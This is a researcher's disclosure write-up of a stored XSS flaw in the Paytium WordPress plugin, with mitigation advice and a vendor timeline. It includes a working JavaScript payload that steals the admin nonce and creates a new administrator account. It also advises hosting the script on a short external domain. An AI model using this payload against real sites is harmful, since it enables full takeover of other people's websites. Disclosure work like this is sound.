Stored XSS in Paytium 3.0.13 WordPress Plugin
With a 60% market share WordPress is the most used CMS at this moment. Out of the box WordPress is just a blog. But by installing some plugins you’re able to convert it into a webshop, a crowd funding platform or even a mind reader.
Everyone can create and publish a WordPress plugin, there is no quality control, all you have are the plugin reviews from other users. In the meanwhile a bug in one of your installed WordPress plugins can cause a lot of trouble; your customer data can be stolen or one can even become the administrator of your website.
Paytium WordPress plugin
I sometimes got challenged by friends to test the security of their websites. One of those friends has a website that sells online training courses. Think of a simple WordPress website with some content that only subscribers can access. She uses a plugin named Paytium in order to receive online payments from those subscribers.
Paytium allows you to insert payment forms into your WordPress pages; simple donation forms or more extended forms holding a name and email address of the client. It has about 3.000+ installations at the moment of writing (September 2019).
The first thing I always try is to enter some HTML into the Name field and see if it got rendered.
If I’m able to inject HTML into this field, than it might be executed in the WordPress Administrator backend as soon as the website owner sees a record with my manipulated name in it.
Let’s try to load an image in the Name field:
Proof of Concept by Jonathan Bouman <img src=”https://i.imgur.com/9eNikWc.jpg” alt=”You’ve found waldo”>
Woops. It works. The input is not properly validated so we are able to add our own HTML content. We’ve got our Authenticated Stored XSS in the WordPress backend!
However the Paytium plugin also emails the attacker a public invoice link (invoice ID is hashed). A Public Stored XSS is the result:
The vulnerable code
We are able to identify the vulnerable code since the (free) Paytium plugin is available to us. After a few minutes of searching we discover a function named get_field_data_html() It echo’s the stored data, HTML escaping is not applied. This code is being used by the WordPress backend to show the overview of orders.
From Stored XSS to full WordPress take-over
What if we can silently add a new administrator user with a predefined username and password? Good idea!
WordPress has a special page with a form that allows administrators to invite new users and specify their role.
This form is protected with a nonce. A nonce is a hidden parameter with a secret value that is send by the browser to the server. Servers use it to validate that a specific request really comes from the original form, otherwise a malicious website may force a form submission on behalf of the victim; a CSRF attack.
The server adds this hidden nonce to every form it renders. It’s impossible for external malicious websites to recover this nonce value, by default a browser does not allow one domain to view the HTML content of another domain, so without a Nonce we can’t submit the form.
var ajaxRequest = new XMLHttpRequest,
requestURL = “/wp-admin/user-new.php”,
nonceRegex = /ser” value=”([^”]*?)”/g;
ajaxRequest.open(“GET”, requestURL, !1), ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),
nonce = nonceMatch,
params = “action=createuser&_wpnonce_create-user=” + nonce + “&firstname.lastname@example.org&pass1=helloworld123&pass2=helloworld123&role=administrator”;
(ajaxRequest = new XMLHttpRequest).open(“POST”, requestURL, !0), ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”), ajaxRequest.send(params);
The payload consists out of 2 phases:
- Request the user-new.php page and extract the nonce value by using a regular expression.
- Submit a POST request to the user-new.php page with our predefined login details and the nonce from step 1
Short domains are a must-have
You might load this script by putting it directly in the Name field in between <script></script> tags. But most fields have a maximum of characters or don’t allow special characters.
My advice is to put the payload in a file (say 1.js) and host it somewhere on the internet on a short domain. The shorter the better, we want to avoid any character limitations in the form. So get yourself a 3 or 4 characters long domain name and upload the payload!
When you have uploaded it to the external domain be sure it supports HTTPS in order to avoid any warnings from browsers about ‘unsecure content’.
1. WordPress supports user input validation out of the box; https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data. This allows one to easily render user input and avoid common HTML injections.
2. Furthermore WordPress should require an administrator to manually type the password before important actions are being executed. Think of a password prompt before you are allowed to add a new administrator or install a plugin. Another solution can be different access levels, just want to see your new orders? Login with a user that has no super rights, but just enough to view the orders. See Roles and Capabilities for more info.
31–07–19 Discovered the initial bug
04–09–19 Wrote this write up and informed Paytium by email
05–09–19 Paytium requested more details
06–09–19 Paytium released a plugin update, no mention of a security fix
07–09–19 Paytium released a plugin update, no mention of a security fix
28–09–19 Discovered unauthenticated Stored XSS bug, updated report & emailed Paytium.
01–10–19 Paytium replied with comments on the report. Paytium informed me that they are preparing a security fix, will update me about the status later this week.
04–10–19 Added a piece about the Roles and Capabilities feature in WordPress, added a solution to introduce a nag screen / manual input for special actions like adding users and installing plugins.
07–10–19 Paytium released a fix and informed its customers by email
12–05–20 Report published